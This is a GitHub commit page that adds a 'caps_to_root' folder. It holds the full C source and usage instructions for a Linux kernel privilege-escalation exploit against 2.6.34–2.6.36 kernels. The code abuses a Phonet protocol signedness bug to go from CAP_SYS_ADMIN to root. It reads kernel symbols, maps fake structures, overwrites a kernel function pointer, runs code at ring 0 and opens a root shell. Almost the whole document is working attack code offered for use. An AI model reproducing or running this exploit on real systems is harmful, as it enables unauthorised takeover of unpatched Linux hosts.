Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 421b60f

Browse files
committed
caps_to_root
1 parent afd777b commit 421b60f

File tree

3 files changed

+310
-0
lines changed

3 files changed

+310
-0
lines changed

caps_to_root/15916.c

Lines changed: 285 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,285 @@
1+
/*
2+
* Linux Kernel CAP_SYS_ADMIN to root exploit
3+
* by Dan Rosenberg
4+
* @djrbliss on twitter
5+
*
6+
* Usage:
7+
* gcc -w caps-to-root.c -o caps-to-root
8+
* sudo setcap cap_sys_admin+ep caps-to-root
9+
* ./caps-to-root
10+
*
11+
* This exploit is NOT stable:
12+
*
13+
* * It only works on 32-bit x86 machines
14+
*
15+
* * It only works on >= 2.6.34 kernels (it could probably be ported back, but
16+
* it involves winning a race condition)
17+
*
18+
* * It requires symbol support for symbols that aren't included by default in
19+
* several distributions
20+
*
21+
* * It requires the Phonet protocol, which may not be compiled on some
22+
* distributions
23+
*
24+
* * You may experience problems on multi-CPU systems
25+
*
26+
* It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be
27+
* surprised if it doesn't work on other distributions.
28+
*
29+
* ----
30+
*
31+
* Lately there's been a lot of talk about how a large subset of Linux
32+
* capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all
33+
* capability that, among other things, allows mounting filesystems and
34+
* injecting commands into an administrator's shell - in other words, it
35+
* trivially allows you to get root. However, I found another way to get root
36+
* from CAP_SYS_ADMIN...the hard way.
37+
*
38+
* This exploit leverages a signedness error in the Phonet protocol. By
39+
* specifying a negative protocol index, I can craft a series of fake
40+
* structures in userspace and cause the incrementing of an arbitrary kernel
41+
* address, which I then leverage to execute arbitrary kernel code.
42+
*
43+
* Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
44+
* and bla.
45+
*
46+
*/
47+
48+
#include <stdio.h>
49+
#include <fcntl.h>
50+
#include <sys/socket.h>
51+
#include <errno.h>
52+
#include <string.h>
53+
#include <linux/capability.h>
54+
#include <sys/utsname.h>
55+
#include <sys/mman.h>
56+
#include <unistd.h>
57+
58+
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
59+
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
60+
_commit_creds commit_creds;
61+
_prepare_kernel_cred prepare_kernel_cred;
62+
63+
int getroot(void)
64+
{
65+
66+
commit_creds(prepare_kernel_cred(0));
67+
return 0;
68+
69+
}
70+
71+
int konami(void)
72+
{
73+
74+
/* Konami code! */
75+
asm("inc %edx;" /* UP */
76+
"inc %edx;" /* UP */
77+
"dec %edx;" /* DOWN */
78+
"dec %edx;" /* DOWN */
79+
"shl %edx;" /* LEFT */
80+
"shr %edx;" /* RIGHT */
81+
"shl %edx;" /* LEFT */
82+
"shr %edx;" /* RIGHT */
83+
"push %ebx;" /* B */
84+
"pop %ebx;"
85+
"push %eax;" /* A */
86+
"pop %eax;"
87+
"mov $getroot, %ebx;"
88+
"call *%ebx;"); /* START */
89+
90+
return 0;
91+
}
92+
93+
/* thanks spender... */
94+
unsigned long get_kernel_sym(char *name)
95+
{
96+
FILE *f;
97+
unsigned long addr;
98+
char dummy;
99+
char sname[512];
100+
struct utsname ver;
101+
int ret;
102+
int rep = 0;
103+
int oldstyle = 0;
104+
105+
f = fopen("/proc/kallsyms", "r");
106+
if (f == NULL) {
107+
f = fopen("/proc/ksyms", "r");
108+
if (f == NULL)
109+
return 0;
110+
oldstyle = 1;
111+
}
112+
113+
while(ret != EOF) {
114+
if (!oldstyle)
115+
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
116+
else {
117+
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
118+
if (ret == 2) {
119+
char *p;
120+
if (strstr(sname, "_O/") || strstr(sname, "_S."))
121+
continue;
122+
p = strrchr(sname, '_');
123+
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
124+
p = p - 4;
125+
while (p > (char *)sname && *(p - 1) == '_')
126+
p--;
127+
*p = '\0';
128+
}
129+
}
130+
}
131+
if (ret == 0) {
132+
fscanf(f, "%s\n", sname);
133+
continue;
134+
}
135+
if (!strcmp(name, sname)) {
136+
fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
137+
fclose(f);
138+
return addr;
139+
}
140+
}
141+
142+
fclose(f);
143+
return 0;
144+
}
145+
146+
int main(int argc, char * argv[])
147+
{
148+
149+
int sock, proto, i, offset = -1;
150+
unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
151+
void * map;
152+
153+
/* Create a socket to load the module for symbol support */
154+
printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
155+
sock = socket(PF_PHONET, SOCK_DGRAM, 0);
156+
157+
if(sock < 0) {
158+
if(errno == EPERM)
159+
printf("[*] You don't have CAP_SYS_ADMIN.\n");
160+
161+
else
162+
printf("[*] Failed to open Phonet socket.\n");
163+
164+
return -1;
165+
}
166+
167+
/* Resolve kernel symbols */
168+
printf("[*] Resolving kernel symbols...\n");
169+
170+
proto_tab = get_kernel_sym("proto_tab");
171+
pn_ops = get_kernel_sym("phonet_dgram_ops");
172+
pn_ioctl = get_kernel_sym("pn_socket_ioctl");
173+
commit_creds = get_kernel_sym("commit_creds");
174+
prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");
175+
176+
if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
177+
!pn_ops || !pn_ioctl) {
178+
printf("[*] Failed to resolve kernel symbols.\n");
179+
return -1;
180+
}
181+
182+
/* Thanks bla, for reminding me how to do basic math */
183+
landing = 0x20000000;
184+
proto = 1 << 31 | (landing - proto_tab) >> 2;
185+
186+
/* Map it */
187+
printf("[*] Preparing fake structures...\n");
188+
189+
map = mmap((void *)landing, 0x10000,
190+
PROT_READ | PROT_WRITE | PROT_EXEC,
191+
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
192+
193+
if(map == MAP_FAILED) {
194+
printf("[*] Failed to map landing area.\n");
195+
return -1;
196+
}
197+
198+
/* Pointer to phonet_protocol struct */
199+
ptr = (unsigned long *)landing;
200+
ptr[0] = &ptr[1];
201+
202+
/* phonet_protocol struct */
203+
for(i = 1; i < 4; i++)
204+
ptr[i] = &ptr[4];
205+
206+
/* proto struct */
207+
for(i = 4; i < 204; i++)
208+
ptr[i] = &ptr[204];
209+
210+
/* First, do a test run to calculate any offsets */
211+
target = 0x30000000;
212+
213+
/* module struct */
214+
for(i = 204; i < 404; i++)
215+
ptr[i] = target;
216+
217+
/* Map it */
218+
map = mmap((void *)0x30000000, 0x2000000,
219+
PROT_READ | PROT_WRITE | PROT_EXEC,
220+
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
221+
222+
if(map == MAP_FAILED) {
223+
printf("[*] Failed to map landing area.\n");
224+
return -1;
225+
}
226+
227+
printf("[*] Calculating offsets...\n");
228+
229+
socket(PF_PHONET, SOCK_DGRAM, proto);
230+
231+
ptr = 0x30000000;
232+
for(i = 0; i < 0x800000; i++) {
233+
if(ptr[i] != 0) {
234+
offset = i * sizeof(void *);
235+
break;
236+
}
237+
}
238+
239+
if(offset == -1) {
240+
printf("[*] Test run failed.\n");
241+
return -1;
242+
}
243+
244+
/* MSB of pn_ioctl */
245+
target = pn_ops + 10 * sizeof(void *) - 1 - offset;
246+
247+
/* Re-fill the module struct */
248+
ptr = (unsigned long *)landing;
249+
for(i = 204; i < 404; i++)
250+
ptr[i] = target;
251+
252+
/* Push pn_ioctl fptr into userspace */
253+
printf("[*] Modifying function pointer...\n");
254+
255+
landing = pn_ioctl;
256+
while((landing & 0xff000000) != 0x10000000) {
257+
socket(PF_PHONET, SOCK_DGRAM, proto);
258+
landing += 0x01000000;
259+
}
260+
261+
/* Map it */
262+
map = mmap((void *)(landing & ~0xfff), 0x10000,
263+
PROT_READ | PROT_WRITE | PROT_EXEC,
264+
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
265+
266+
if(map == MAP_FAILED) {
267+
printf("[*] Failed to map payload area.\n");
268+
return -1;
269+
}
270+
271+
/* Copy payload */
272+
memcpy((void *)landing, &konami, 1024);
273+
274+
printf("[*] Executing Konami code at ring0...\n");
275+
ioctl(sock, 0, NULL);
276+
277+
if(getuid()) {
278+
printf("[*] Exploit failed to get root.\n");
279+
return -1;
280+
}
281+
282+
printf("[*] Konami code worked! Have a root shell.\n");
283+
execl("/bin/sh", "/bin/sh", NULL);
284+
285+
}

caps_to_root/README.md

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# caps_to_root
2+
3+
caps_to_root
4+
5+
Vulnerability reference:
6+
* [N/A](https://www.exploit-db.com/exploits/15916/)
7+
8+
## Kernels
9+
```
10+
2.6.34, 2.6.35, 2.6.36
11+
```
12+
13+
## Usage
14+
```
15+
gcc -w caps-to-root.c -o caps-to-root
16+
sudo setcap cap_sys_admin+ep caps-to-root
17+
./caps-to-root
18+
```
19+
20+
![root](root.png)
21+
22+
23+
24+
25+

caps_to_root/root.png

98.6 KB
Loading

0 commit comments

Comments
 (0)